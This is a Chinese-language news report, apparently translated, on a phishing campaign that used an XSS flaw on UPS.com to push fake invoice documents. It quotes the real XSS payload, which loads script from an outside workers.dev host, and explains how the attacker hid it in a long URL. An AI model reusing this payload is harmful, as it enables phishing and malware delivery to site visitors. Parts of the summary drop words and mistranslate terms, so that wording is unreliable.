摘要：此漏洞允许威胁行为者通过远程工作人员分发恶意文档，但使其看起来像是直接从下载的。目前显示，的跨站漏洞已经修复。而以上钓鱼攻击利用的是中第二普遍的安全问题，存在于近三分之二的应用中。
一个巧妙的网络钓鱼活动利用UPS.com中的XSS漏洞来推送虚假和恶意的“发票”Word%20文档。
UPS快递公司(UPS%20Express，联合包裹服务公司)是世界上最大的快递承运商与包裹递送公司。公司创办1907年，每天在全球200多个国家和地区提供物流服务，年营业额超过500亿美元。
网络钓鱼骗局最初是由安全研究人员丹尼尔·加拉格尔发现的，他假装是一封来自UPS的电子邮件，声称一个包裹有“例外”，需要客户取走。
这次网络钓鱼攻击的突出之处在于，威胁行为者利用UPS.com的跨站攻击漏洞，将该网站的常规页面修改为看起来像一个合法的下载页面。
此漏洞允许威胁行为者通过远程Cloudflare工作人员分发恶意文档，但使其看起来像是直接从UPS.com下载的。
这个电子邮件充满了大量的合法链接，没有执行恶意行为。然而，这个追踪号码是一个链接到UPS网站的链接，其中包含一个XSS漏洞，当页面打开时，该漏洞会向浏览器注入恶意JavaScript。
UPS 网络钓鱼电子邮件
当前无法加载图像，因为攻击者的站点已关闭
下面可以看到用于跟踪号码的URL经过清理后的版本，原始的URL被进一步混淆了。
网络钓鱼诈骗中使用的URL
这个URL有两个有趣的字符串用作攻击的一部分，其中第一项是以下base64编码的字符串:
MSBqVTU3IE4zM2QgNzAgbTRLMyA3aDE1IFVSTCA0IGwxNzdsMyBMMG45M3IgNzAgSDFEMyBuM3g3IHFVM3JZIFA0UjRNLCB5MHUgNExSMzREeSBLbjB3IFdoWSA7KQ==
base64字符串包含来自威胁参与者的注释，该注释有助于解释该字符串用于使URL变长，以隐藏附加到URL末尾的XSS利用查询参数。
1%20jU57%20N33d%2070%20m4K3%207h15%20URL%204%20l177l3%20L0n93r%2070%20H1D3%20n3x7%20qU3rY%20P4R4M,%20y0u%204LR34Dy%20Kn0w%20WhY%20;)
第二点是当用户访问UPS.com网站时注入的JavaScript跨站漏洞。
img%20src="x"%20onerror="Function(atob("JC5nZXRTY3JpcHQoJ2h0dHBzOi8vbS5tZWRpYS1hbWF6b24ud29ya2Vycy5kZXYvanMnKQ=="))()
atob()函数中解码的base64字符串包含Cloudflare工作人员脚本的URL，该漏洞将加载该脚本。
